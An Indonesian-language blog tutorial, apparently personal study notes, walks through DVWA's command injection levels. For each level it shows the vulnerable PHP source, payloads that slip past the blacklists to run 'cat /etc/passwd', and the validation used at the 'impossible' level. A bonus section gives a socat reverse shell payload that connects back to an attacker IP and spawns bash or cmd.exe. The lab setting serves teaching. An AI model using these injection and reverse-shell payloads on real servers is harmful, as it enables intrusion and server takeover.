DVWA Series: Command Injection
January 02, 2022 ⏱️7 min readIntro
DVWA adalah aplikasi web yang dirancang khusus untuk memiliki kerentanan agar kita bisa mempelajarinya. Tujuan dari DVWA adalah mempraktikan beberapa kerentanan web yang umum ditemui dengan berbagai level kesulitan dan antarmuka langsung yang sederhana.
Disclaimer
Tujuan saya menulis dokumentasi ini adalah sebagai catatan pribadi dalam pempelajari keamanan aplikasi web. Saya tidak bertanggung jawab atas segala tindakan ilegal yang dipelajari dari dokumentasi ini.
Apa itu Command Injection ?
Command Injection adalah serangan yang mana tujuannya adalah mengeksekusi perintah secara sewenang-wenang pada sistem operasi melalui aplikasi yang rentan. Serangan command injection bisa terjadi ketika sebuah aplikasi (forms, cookies, HTTP headers, dll) bisa menjalankan perintah yang tidak aman dari inputan user ke sistem shell.
Biasanya, hak akses yang dimiliki oleh peretas akan sama dengan aplikasi yang rentan tersebut. Misalnya, di DVWA ini terdapat kerentanan command injection dan aplikasi ini berjalan dengan user www-data pada sistem operasi linux, sehingga peretas akan menjalankan perintah pada komputer target sebagai user www-data tersebut.
Untuk lebih jelasnya bisa lihat video berikut:
Apa itu Shell?
Maksud kata “command” di sini apa? apakah perintah pada bahasa pemrograman? Jawabannya adalah perintah dari shell yang digunakan oleh user di komputer tersebut. Umumnya, Unix dan Linux menggunakan Bash sebagai shell default-nya. Sedangkan di Windows terdapat Command Prompt dan PowerShell.
Pengetahuan Dasar yang Wajib Dimiliki
Pengetahuan dasarnya adalah memahami perintah perintah pada Linux atau Powershell.
Pada bagian akhir akan dibahas bagaimana cara meminimalisir serangan bruteforce pada web kita.
Command Injection level Low
Berikut adalah source-code dari command injection level low di DVWA.
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
Information Gathering
shell_exec()
adalah fungsi bawaan PHP yang berfungsi untuk menjalankan perintah melalui shell dan mengembalikan output yang lengkap sebagai string. Dapat dilihat bahwa aplikasi ini akan menjalankan ping ke sebuah target. contoh penggunaan ping sebagai berikut:
Jika diperhatikan dalam source codenya tidak ada validasi sama sekali pada inputan. Maka kita bisa menambahkan beberapa karakter seperti ;
, |
, atau &&
Attack
Setelah mengetahui bahwa tidak ada validasi input, kita bisa memanfaatkan &&
untuk menjalankan perintah lainnya. Seperti contohnya mastoto.my.id && cat /etc/passwd
. Nanti outpunya berupa hasil ping diikuti dengan list dari user,group dll yang ada dalam sistem. Maka outptnya menjadi
Kerentanan ini sangat berbahaya karena dengan kerentanan ini penyerang dapat melakukan perintah yang bisa saja membahayakan sistem seperti membuat backdoor, dll.
Tidak sampai disini saja. Penyerangan ini bisa membuat backdoor dan berlanjut hingga Post Exploitation, dan penyerang mempertahankan koneksi agar serangan tersebut persistent menggunakan metode Reverse Shell ataupun Bind Shell.
Command Injection level Medium
Berikut adalah source-code dari command injection level medium di DVWA.
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
Information Gathering
Terlihat bahwa pada code tersebut terdapat blacklist untuk string &&
dan ;
pada inputan. Tetapi terdapat alternatf lain untuk menjalankan 2 perintah atau lebih yaitu dengan menambahkan karakter |
.
Attack
Maka cukup kita ganti saja yang awalnya menggunakan &&
dengan |
menjadi mastoto.my.id | cat /etc/passwd
.
Jika mengguankan | maka hasil dari ping tidak akan muncul
lebih jelas bisa baca di https://www.educba.com/linux-pipe-command/
Command Injection level High
Berikut adalah source-code dari command injection level high di DVWA.
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
Information Gathering
Pada level ini, blacklist yang diberikan menjadi semakin banyak. Tetapi jika kita teliti, di baris ke-11 terdapat celah .
'| ' => ''
terdapat spasi setelah |
. Ini bisa kita manfaatkan dengan cara menjalankan perintah langsung tanpa spasi setelah |
.
Attack
Maka cukup kita gunakan pipe namun tidak perlu kita beri spasi setelah | menjadi mastoto.my.id |cat /etc/passwd
.
Gimana Cara Mencegah Command Injection?
Di dalam DVWA juga menyediakan level Imposible dimana pada saat level di setting menjadi imposible maka serangan mustahil untuk berhasil. Berikut source-codenya:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Pada level imposible ini, Input dari user hanya bisa menggunakan angka (tipe data numeric) saja. Sehingga ketika kita memasukkan karakter lain maka akan muncul pesan error. Kedua pada kode di atas menggunakan CSRF token, yang pada Artikel sebelumnya sudah saya jelaskan.
Sejauh ini cara paling efektif untuk mencegah kerentanan Command Injection OS adalah dengan tidak pernah memanggil perintah OS dari kode. Di hampir setiap kasus, ada cara alternatif untuk mengimplementasikan fungsionalitas yang diperlukan menggunakan API platform yang lebih aman. Jika dianggap tidak dapat dihindari untuk memanggil perintah OS dengan input yang disediakan pengguna, maka validasi input yang kuat harus dilakukan. Beberapa contoh validasi yang efektif meliputi:
- Memvalidasi terhadap whitelist nilai yang diizinkan.
- Memvalidasi bahwa input adalah angka.
- Memvalidasi bahwa input hanya berisi karakter alphanumerik, tidak ada sintaks atau whitespace lainnya.
Jangan pernah mencoba mensanitasi input dengan cara escaping shell metacharacters. Dalam praktiknya, ini terlalu rawan kesalahan dan rentan untuk dilewati oleh penyerang yang terampil.
Bonus : Reverse Shell
Seperti yang sudah di jelaskan sebelumnya, kerentanan command injection sangat berbahaya dan penyerang bisa mengambil alih server. Untuk mengambil alih server pertama tama yang harus dilakukan adalah mempertahankan koneksi dan melalukan Privillege Escalation(akan dibahas dikemudian hari). Pada kali ini saya akan membahas Reverse Shell dengan memanfaatkan kerentanan Command injection.
Information Gathering
Biasanya ketika melakukan reverse shell, saya menggunakan netcat, namun ketika coba saya cari dalam server dvwa tidak ada netcat. Bisa diketahui dengan menajankan perintah mastoto.my.id |nc -h
dan tidak ada output yang muncul. Untuk memastikan, saya menjalankan perintah untuk melihat daftar apt
yang ada dengan perintah mastoto.my.id |apt list
dan ternata benar netcat tidak terinstal. Saya coba mencari metode lain dan akhirnya menemukan sumber bahwa kita bisa melakukan Reverse Shell menggunakan socat
pada link https://erev0s.com/blog/encrypted-bind-and-reverse-shells-socat/
Pertama pada komputer milik penyerang jalankan perintah:
socat -d -d TCP4-LISTEN:4444 STDOUT
Dalam dokumentasinya -d -d
digunakan untuk increase verbosity (use up to 4 times; 2 are recommended)
TCP4-LISTEN:<port>
merupakan address-head yang digunakan untuk menerima koneksi
STDOUT
Untuk lebih jelasnya bisa melihat dokumentasi socat. Bisa dilihat menggunakan perintah man socat
Kemudian pada form input kita masukkan perintah:
socat TCP4:<IP>:<port> EXEC:/bin/bash
menjadi
mastoto.my.id |socat TCP4:192.168.1.7:4444 EXEC:/bin/bash
Jika mesin korban menggunakan windows maka menggunakan perintah:
socat TCP4:192.168.168.1:4443 EXEC:'cmd.exe',pipes
Sehingga web akan loading terus dan tampilan pada terminal attacker akan berubah menjadi:
Kita coba jalankan perintah whoami
, cat /etc/passwd
, dan coba kita pindah ke direktori /tmp
. Dapat dilihat bahwa command tersebut dapat tereksekusi.